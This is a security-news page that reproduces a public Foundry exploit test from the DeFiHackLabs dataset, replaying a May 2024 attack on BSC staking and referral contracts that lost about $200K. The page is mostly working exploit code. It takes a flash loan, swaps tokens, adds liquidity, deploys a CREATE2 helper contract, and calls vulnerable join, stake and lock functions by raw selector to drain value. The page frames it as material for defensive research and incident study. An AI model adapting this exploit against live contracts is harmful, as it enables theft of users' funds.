Skip to content
THREATWIRE

Public reproduction file

src/test/2024-05/Liquiditytokens_exp.sol

Public reproduction file for dataset entry Liquiditytokens.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/Liquiditytokens_exp.sol193 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo -- Total Lost : ~200K
8// TX : https://app.blocksec.com/explorer/tx/bsc/0x1350cc72865420ba5d3c27234fd4665ad25c021b0a75ba03bc8340a1b1f98a45
9// Attacker : https://bscscan.com/address/0x6951eb8a4a1dab360f2230fb654551335d560ec0
10// Attack Contract : https://bscscan.com/address/0xbdfbb387fbf20379c016998ac609871c3357d749
11// GUY : https://x.com/EXVULSEC/status/1796499069583724638
13interface Imoney {
14 function stakes() external;
15 function Send() external;
18contract ContractTest is Test {
19 IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
20 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
21 Uni_Pair_V3 Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
22 Uni_Pair_V2 Pair = Uni_Pair_V2(0x72dCf845AE36401e82e681B0E063d0703bAC0Bba);
23 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
24 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
25 IERC20 Vow = IERC20(0xF585B5b4f22816BAf7629AEA55B701662630397b);
26 IERC20 Vusd = IERC20(0xc0D8DaA6516BaB4eFCe440860987E735BaB44160);
27 IERC20 TLN = IERC20(0xf7d142a354322C7560250CaA0e2a06c89649e4C2);
28 address Tlnswap = (0x19B3F588BdC9a6f9ecb8255919B02F9ADF053363);
29 address VulnContract = 0x028c911C10c9E346158206991E02D09Bd0A8A35b;
30 address VulnContract_2 = 0x85F82230883693f1Bbff65be1f7663EE5F0AA5f8;
31 uint256 constant PRECISION = 10 ** 18;
33 function setUp() external {
34 vm.createSelectFork("bsc", 39_198_657);
35 deal(address(WBNB), address(this), 2 ether);
36 deal(address(BUSD), address(this), 0);
37 }
39 function testExploit() external {
40 emit log_named_decimal_uint("[Begin] Attacker BUSD before exploit", BUSD.balanceOf(address(this)), 18);
42 Pool.flash(address(this), 19_000_000 ether, 0, "0x123");
44 emit log_named_decimal_uint("[End] Attacker BUSD after exploit", BUSD.balanceOf(address(this)), 18);
45 emit log_named_decimal_uint("[End] Attacker Vow after exploit", Vow.balanceOf(address(this)), 18);
46 }
48 // function attack() internal {
49 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
50 //Step 1
51 //Tx:https://app.blocksec.com/explorer/0x8d27f9a15b1834e5f9e55d47ec32d01e7fe54f93cfc6ea9d4e8c5fbe72756897
52 swap_token_to_tokens(address(WBNB), address(BUSD), address(Vow), 2 ether);
53 swap_token_to_token(address(Vow), address(Vusd), 854_320_785_746_786_696_066);
54 Vusd.approve(address(Router), 2_000_000 ether);
55 Vow.approve(address(Router), 2_000_000 ether);
56 Router.addLiquidity(
57 address(Vow),
58 address(Vusd),
59 854_320_785_746_786_696_066,
60 1_182_464_186_867_710_570_390,
61 0,
62 0,
63 address(this),
64 block.timestamp + 500
65 );
66 address HelperExploitContract = create_contract(1);
67 //function join(address R e) public
68 address(VulnContract).call(abi.encodeWithSelector(bytes4(0x28ffe6c8), address(HelperExploitContract)));
70 //Step 2
71 swap_token_to_token(address(BUSD), address(Vow), 19_000_000 ether);
73 Pair.transfer(address(HelperExploitContract), 1 ether);
75 Imoney(HelperExploitContract).stakes();
77 Pair.approve(address(VulnContract_2), type(uint256).max);
79 //stake()
80 address(VulnContract_2).call(abi.encodeWithSelector(bytes4(0xa694fc3a), 942_253_377_026_177_767_815));
82 Imoney(HelperExploitContract).Send();
84 Vow.approve(address(Tlnswap), type(uint256).max);
85 TLN.approve(address(Tlnswap), type(uint256).max);
87 //function lock(uint256 amount) external(Use function selector)
88 address(Tlnswap).call(abi.encodeWithSelector(bytes4(0xdd467064), 3_199_510_344_301_177_871_795_565));
90 swap_token_to_token(address(Vusd), address(Vow), 3_199_510 ether);
91 swap_token_to_token(address(Vow), address(BUSD), 800_000 ether);
93 BUSD.transfer(msg.sender, 19_000_000 * 1e18 + fee0);
94 }
96 function swap_token_to_tokens(address a, address b, address c, uint256 amount) internal {
97 IERC20(a).approve(address(Router), amount);
98 address[] memory path = new address[](3);
99 path[0] = address(a);
100 path[1] = address(b);
101 path[2] = address(c);
102 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
103 }
105 function swap_token_to_token(address a, address b, uint256 amount) internal {
106 IERC20(a).approve(address(Router), amount);
107 address[] memory path = new address[](2);
108 path[0] = address(a);
109 path[1] = address(b);
110 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
111 }
113 function getbalance() public {
114 emit log_named_decimal_uint("this token balance", Vow.balanceOf(address(this)), Vow.decimals());
115 }
117 function getreserves(
118 uint256 stepNum
119 ) public {
120 console.log("Step %i", stepNum);
121 (uint256 reserveIn, uint256 reserveOut,) = Pair.getReserves();
122 emit log_named_decimal_uint("ReserveIn", reserveIn, 1);
123 emit log_named_decimal_uint("ReserveOut", reserveOut, 18);
124 }
126 function cal_address(
127 uint256 time
128 ) internal returns (address) {
129 bytes memory bytecode = type(Money).creationCode;
130 uint256 _salt = time;
131 bytecode = abi.encodePacked(bytecode);
132 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
133 address hack_contract = address(uint160(uint256(hash)));
134 return hack_contract;
135 }
137 function create_contract(
138 uint256 times
139 ) internal returns (address) {
140 uint256 i = 0;
141 while (i < times) {
142 bytes memory bytecode = type(Money).creationCode;
143 uint256 _salt = i;
144 bytecode = abi.encodePacked(bytecode);
145 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
146 address hack_contract = address(uint160(uint256(hash)));
147 address addr;
148 // Use create2 to Send money first.
149 assembly {
150 addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
151 }
152 i++;
153 return hack_contract;
154 }
155 }
157 receive() external payable {}
160contract Money is Test {
161 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
162 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
163 Uni_Pair_V2 Pair = Uni_Pair_V2(0x72dCf845AE36401e82e681B0E063d0703bAC0Bba);
164 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
165 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
166 IERC20 TLN = IERC20(0xf7d142a354322C7560250CaA0e2a06c89649e4C2);
167 address VulnContract = 0x028c911C10c9E346158206991E02D09Bd0A8A35b;
168 address VulnContract_2 = 0x85F82230883693f1Bbff65be1f7663EE5F0AA5f8;
169 address Referer = 0xEB1Df3Bed5bd20c010CAAd4EE18Ff7A697334E68;
170 uint256 constant PRECISION = 10 ** 18;
171 address owner;
173 constructor() {
174 owner = msg.sender;
175 address(VulnContract).call(abi.encodeWithSelector(bytes4(0x60410fbb), 1));
176 address(VulnContract).call(abi.encodeWithSelector(bytes4(0x28ffe6c8), address(Referer)));
177 }
179 function stakes() external {
180 require(owner == msg.sender, "error");
181 Pair.approve(address(VulnContract_2), type(uint256).max);
182 //stake
183 address(VulnContract_2).call(abi.encodeWithSelector(bytes4(0xa694fc3a), 1 ether));
184 }
186 function Send() public {
187 require(owner == msg.sender, "error");
188 TLN.transfer(address(msg.sender), TLN.balanceOf(address(this)));
189 }
191 fallback() external payable {}
192 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Liquiditytokens” (2024-05-31). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6951eb8a4a1dab360f2230fb654551335d560ec0

  • Attack Contract

    0xbdfbb387fbf20379c016998ac609871c3357d749

File record

Name
Liquiditytokens
Path
src/test/2024-05/Liquiditytokens_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1ce451764a8894f2d4597924869ba22f53e382ba
Language
Solidity
Size
194 lines
Date
2024-05-31
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-05/Liquiditytokens_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1ce451764a8894f2d4597924869ba22f53e382ba, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.